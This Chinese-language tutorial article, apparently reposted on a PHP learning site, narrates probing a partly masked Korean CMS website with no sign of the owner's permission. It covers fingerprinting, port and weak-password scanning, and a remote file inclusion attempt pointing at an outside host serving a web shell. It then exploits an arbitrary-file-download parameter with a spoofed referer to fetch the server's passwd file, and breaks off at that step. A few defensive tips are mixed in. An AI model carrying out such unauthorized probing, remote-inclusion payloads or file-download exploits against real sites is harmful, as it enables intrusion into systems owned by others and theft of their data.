网站地图    收藏   

主页 > 后端 > 网站安全 >

对韩国某CMS的一次安全检测 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-17 14:46 作者: 阅读:

[导读] 某日,一个做网页设计的朋友发给我一个站(www.ba******.net),问我感觉如何?该网站设计漂不漂亮?明明知道我在艺术方面不太擅长,尤其是美感设计,还发过来,不过既然发过来了,...

某日,一个做网页设计的朋友发给我一个站(www.ba******.net),问我感觉如何?该网站设计漂不漂亮?明明知道我在艺术方面不太擅长,尤其是美感设计,还发过来,不过既然发过来了,也要上去看看,打开网站后,感觉还是蛮简洁的,如图1所示,就看看它的安全性如何。

 

\

图1韩国某网站CMS界面

一、服务器信息收集

1.获取IP信息

直接打开DOS提示符操作窗口,使用ping命令,对网站www.b*******.net进行ping操作,如图2所示,获取IP地址为“221.***.**.21”,且无丢包现象,延迟时间也较少,呵呵,感觉韩国的计算机就是爽,速度快,硬件配置也高。

 

\

图2获取网站IP地址

安全小知识

(1)TTL术语

TTL是Time to Live对缩写,它是IP协议包中的一个值,它告诉网络路由器包在网络中的时间是否太长而应被丢弃。有很多原因使包在一定时间内不能被传递到目的地。例 如,不正确的路由表可能会导致包的无限循环。一个解决方法就是在一段时间后丢弃这个包,然后给发送者一个报文,由发送者决定是否要重发。TTL的初值通常 是系统缺省值,是包头中的8位的域。TTL的最初设想是确定一个时间范围,超过此时间就把包丢弃。由于每个路由器都至少要把TTL值减一,TTL通常表示 包在被丢弃前最多能经过的路由器个数。当记数到0时,路由器决定丢弃该包,并发送一个ICMP报文给最初的发送者。

TTL是指定数据报被路由器丢弃之前允许通过的网段数量。通常是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。

使用PING时涉及到的 ICMP 报文类型

一个为ICMP请求回显(ICMP Echo Request)

一个为ICMP回显应答(ICMP Echo Reply)

(2)TTL值

TTL 字段值可以帮助我们识别操作系统类型,下面是一些常见系统的TTL值:

(1)UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255;

(2)Compaq Tru64 5.0 ICMP 回显应答的TTL字段值为64;

(3)微软 Windows NT4 WRKS、Windows NT4 Server、Windows 2000、Windows XP操作系统 ICMP 回显应答的 TTL字段值为128;

(4)微软 Windows 95、Windows98、Windows98SE、Windows ME操作系统ICMP 回显应答的TTL字段值为 32;

(5)一些特殊情况下,其TTL值会有一些不同:

LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64

FreeBSD 4.1, 4.0, 3.4;Sun Solaris 2.5.1, 2.6, 2.7, 2.8;OpenBSD 2.6, 2.7;NetBSD;HP UX 10.20等等ICMP 回显应答的TTL字段值为255;

从返回的TTL值中,可以初步判定目标主机是linux系统。

防护技巧

在一般意义上可以通过“ping 主机地址”或者“ping 网站域名地址”来获取TTL值,通过TTL值来判断网站所在主机的操作系统类型。一些防护严格的系统会自定义TTL值,从而让入侵者无法通过TTL值来获取操作系统的类型。TTL值的注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255。例如本人的计算机的TTL值就是 127,如图3所示,嘿嘿,从常见的TTL值你就无法知道!

 

\

图3 自定义TTL值

注意:

修改TTL值后需要重启计算机才能生效,不同计算机操作系统可能修改的TTL值地方不一样,一般情况下是去注册表
“HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet001\Services\Tcpip\Parameters”下修改DefaultTTL的值,如果是在 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters”中 则需要新建“DefaultTTL”键,且类型为DWORD。

2.获取服务器架构信息

通常通过在浏览器中输入“http://221.139.***.21/antian365/”地址,其中“antian365”为不存在的目录, 从返回出错的信息中来判断服务器架构信息,如图4所示,可以看出来系统使用的是apache1.3.36,因为小站根本是使用免费的Mysql数据库,所 以可以确认是典型的LAMP架构。

 

\

图4获取服务器架构信息

说明:

(1) http://221.139.***.21/antian365/

如果是在IE浏览器输入,一定要把显示友好HTTP错误信息去掉,具体操作:选择IE浏览器--工具--Internet选项;在高级选项框中将“显示友好HTTP错误信息”的勾选去掉,这样才能显示详细的错误信息。

 

LAMP架构网络小知识

LAMP是一种Web网络应用和开发环境,基本上是四种开源软件技术的组合,它们组合在一起产生了一个功能强大的应用服务平台,使用却相对来说比较简单和容易。

LAMP是基于Linux,Apache,MySQL和PHP的开放资源网络开发平台,这个术语来自欧洲,LAMP名字取自每个程序的第一个字母, 也有人认为LAMP是一种Web网络应用和开发环境,是Linux, Apache,MySQL, Php/Perl的缩写,每一个字母代表了一个组件。其实LAMP这个词的由来最早始于德国杂志“c't Magazine”,Michael Kunze在1990年最先把这些项目组合在一起创造了LAMP的缩写字。

这些组件并不是开始就设计为一起使用的,由于开源和免费,随着越来越多的人使用它,其兼容性不断改善和完善,因此逐渐成为Web应用程序开发的一种 架构。在这个架构中每个程序在所有权里都符合开放源代码标准:Linux是开放系统;Apache是最通用的网络服务器;MySQL是带有基于网络管理附 加工具的关系数据库;PHP是流行的对象脚本语言,它包含了多数其它语言的优秀特征来使得它的网络开发更加有效。

有时候,开发者在Windows操作系统下使用这些Linux环境里的工具称为使用WAMP,也称为WAMP架构。 随着开源潮流的蓬勃发展,开放源代码的LAMP已经与J2EE和.Net商业软件形成三足鼎立之势,并且该软件开发的项目在软件方面的投资成本较低,因此 受到整个IT界的关注。有关LAMP的更多知识,可以查看“LAMP架构帖子”http://www.antian365.com/bbs /viewthread.php?tid=2639&extra=page%3D1&frombbs=1

3.探测端口信息

用sfind扫一下服务器,发现只开启21,80端口,如图5所示,其中3306Mysql数据库端口也可以进行探测。

 

\

图5端口信息

之后使用HScan软件扫描Mysql数据库和FTP弱口令,没有结果。看来还是得从web程序入手

 

二、Web应用程序安全检测

1.注入测试

用阿D,NBSI等注入工具寻找注入点,没有发现。同时用手工查找,也没有找到,simeon说我的注入比较弱,看来一点不假,呵呵。

2.寻找上传点

http://www.b**.net/ez/bbs.php?table=qna&query=write发现可以发贴子,但并没有文件上传的地方。

3.旁注检测

打开http://www.myipneighbors.com/,同一服务器下一共有114个站点,都是使用相同的CMS,用明小子的DOMAIN批量检测一下注入点和上传漏洞,和预计的结果一样,也没有发现。

说明:

http://www.myipneighbors.com/ 是一个通过IP地址或者域名来获取该IP地址或者域名所在服务器中所存在的其它网站地址。它比明小子的DOMAIN能查询到更准确的数据。

4.包含漏洞检测

没办法,还是再仔细看看www.b****k.net,当浏览到http://www.b****k.net/ez/inc.php?inc=company/sub1_1,这个是不是存在包含漏洞呢?于是测试http://www.b****k.net/ez/inc.php?inc=http://116.23.82.87:81/WebShell,出现错误,如图6所示。

 

\

图6不能远程包含漏洞

虽然没有找到远程包含漏洞,但这里可以暴出网站的绝对路径:/home/ba****.net/public_html/ez/。

说明:

(1)包含漏洞的原因是程序员在使用涉及到的危险函数include、require、include_once和require_once时,未对传入的变时做出过滤。

(2)关于暴出网站绝对路径的修补。因include或require因为找不到包含的文件,所以会显示出错,要屏蔽掉错误显示也很简单,只要在include或require加个“@”就可以了。

6.下载任意文件漏洞检测

手工检测下载任意文件漏洞。目前对于下载任意文件漏洞的检测一般是通过手工进行检测。在浏览到http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1

网页时,发现可以单击下载图片,如图7所示。

 

 

\

图7下载图片

可以通过修改URL地址来下载网站的其它文件,通过观察,URL地址http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg中,file参数直接使用文件名,也许可以下载其它文件,于是在URL地址栏中输入:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=
dat&dtype=up&uid=133&file=20080706012241_4.jpg
(20080706012241_4.jpg为另一张图片)返回一片空白,查看源代码,发现有都是不认识的文字,如图8所示,不能下载其它图片文件。

 

\

 

图8不能下载

不懂是什么意思。难道用uid参数限制了?还是其它什么的原因。于是重新输入:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现还是一片空白,明明点击可以下载,为什么从地址栏直接输入就不可以下载?哦。这不就是和很多下载站所用的伎俩——防盗链。

说明:

关于防盗链。也就是下载时检查referrer参数是不是来自本站的页面,如果不是,就不可以下载。

7.突破防盗链

突破防盗链方法有很多,可以用asp、PHP、vbs或使用改包NC提交都可以。这里介绍的是一种比较简便的方法,使用Firefox自定义referer插件来突破。首先我们应该先抓包,看看下载时的referrer参数值是什么。

(1)使用LiveHTTPHeaders插件获取referrer参数值

先安装一个firfox抓包插件LiveHTTPHeaders(http://livehttpheaders.mozdev.org/installation.html),打开该地址,然后单击网页链接“Install version 0.14 of LiveHTTPHeaders now”,Firefox会提示进行该软件的安装,如图9所示,单击立即安装即可。

 

 

\

图9 安装LiveHTTPHeaders组件

注意

由于组件由于对Firefox有版本要求,因此会出现一些组件无法安装的现象,如果出现安装提示警告信息时,一般都可以进行安装。
LiveHTTPHeaders 可以抓取http,https的数据链接,包括get和post,一个很不错的插件。安装好插件后,重启FireFox,打开下载页面,运行 LiveHTTPHeaders抓包(工具->Live HTTP Headers),然后再点击下载,不一会,包就抓好了,查看一下,referrer参数值为http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如图10所示,取得referrer参数值。

 

\

图10 获取referrer参数值


(2)使用RefControl插件构造referrer值

接着到http://www.blogjava.net/baicker/archive/2008/04/08/191485.html安装Firefox自定义referer插件RefControl,同样安装好之后,重启Firefox,运行RefControl,单击“添加站点”按钮,在站点中输入http://www.b****k.net,动作选择自定义,同时输入抓包所获取的referrer值http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如图11所示,然后单击“确定”按钮,使设置生效,到此构造referrer值完毕。

 

\

 

图11使用RefControl构造referrer参数值

技巧

可以直接Firefox的附加组件来搜索和添加组件。方法是在Firefox中单击 “工具”-“附加组件”,在弹出的附加组件中单击“获取附加组件”,在搜索输入框中输入需要添加到组件名称,然后单击搜索按钮即可查找已经存在 Firefox附加组件,如果找到,单击“查看全部结果”,按照提示安装即可。

(3)下载passwd文件

在Firefox地址栏输入:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现可以下载20080706012226_4-1.jpg文件了,再试试

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论